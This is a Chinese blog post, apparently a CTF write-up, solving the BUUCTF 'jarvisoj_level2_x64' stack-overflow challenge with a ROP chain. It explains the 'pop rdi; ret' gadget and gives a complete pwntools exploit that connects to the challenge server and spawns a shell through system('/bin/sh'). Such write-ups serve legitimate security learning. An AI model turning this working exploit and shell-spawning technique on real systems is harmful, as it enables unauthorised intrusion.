news 2025/12/27 21:26:01

BUUCTF[jarvisoj_level2_x64]

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BUUCTF[jarvisoj_level2_x64]

步骤

使用checksec查看

使用ida(pro)打开

根进vulnerable_function函数

依旧是栈溢出

这道题我们无法使用上一题的32位来直接使用plt表来跳转到system,所以我们使用ROPgadget

使用指令 ROPgadget --binary 文件名 来获取信息

这里可以查看到pop rdi;ret的地址

在64位中前几个参数我们是使用寄存器来存储的,后续的存放下栈中

与32位直接存放在栈中不同,在此处我们需要向rdi寄存器中存入我们的后门函数地址

我们通过pop rdi;ret来将/bin/sh地址存入rdi寄存器,并且调用system函数

/bin/sh地址

system地址

exp

from pwn import * #p=process('./level2_x64') p=remote('node5.buuoj.cn',29996) pop_rdi_ret_addr = 0x4006b3 bin_sh_addr = 0x600A90 system_addr = 0x40063E pay = b'a'*(0x80+8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) p.sendlineafter(b"Input",pay) p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2025/12/12 19:24:54

智能家居设备联动API设计:跨品牌设备协同控制的技术实现

智能家居设备联动API设计:跨品牌设备协同控制的技术实现 【免费下载链接】OpenAPI-Specification 项目地址: https://gitcode.com/gh_mirrors/open/OpenAPI-Specification 随着物联网设备的指数级增长,智能家居市场面临着设备生态碎片化的严峻挑…

作者头像 李华
网站建设 2025/12/14 7:43:07

ggplot2数据可视化终极指南:从入门到精通

ggplot2数据可视化终极指南:从入门到精通 【免费下载链接】ggplot2 An implementation of the Grammar of Graphics in R 项目地址: https://gitcode.com/gh_mirrors/gg/ggplot2 ggplot2是R语言中最强大的数据可视化系统,它基于图形语法理论&…

作者头像 李华
网站建设 2025/12/12 19:21:59

GLM-4.5开源大模型:智能体开发新范式快速部署指南

当开发者面对日益复杂的智能体应用需求时,传统大模型往往陷入"性能与成本"的两难困境。GLM-4.5系列作为专为智能体场景深度优化的开源模型,通过创新架构设计实现了推理、编码与智能体能力的原生融合,为AI应用开发带来了全新的解决方…

作者头像 李华
网站建设 2025/12/21 16:34:46

Gemini 3.0使用全攻略:零基础也能上手的5种方法,建议收藏

本文详细介绍了无需下载的Gemini 3大模型的五种使用方法:通过Google AI Studio进行聊天和创建网页应用;Google Gemini平台进行创作(有使用限额);LMArena体验和测试不同大模型;ZenMux作为中转站提供免费版使用和API接入&#xff1b…

作者头像 李华
网站建设 2025/12/12 19:21:50

eLabFTW:科研实验室数据管理的终极解决方案

eLabFTW:科研实验室数据管理的终极解决方案 【免费下载链接】elabftw :notebook: eLabFTW is the most popular open source electronic lab notebook for research labs. 项目地址: https://gitcode.com/gh_mirrors/el/elabftw 在当今数字化科研环境中&…

作者头像 李华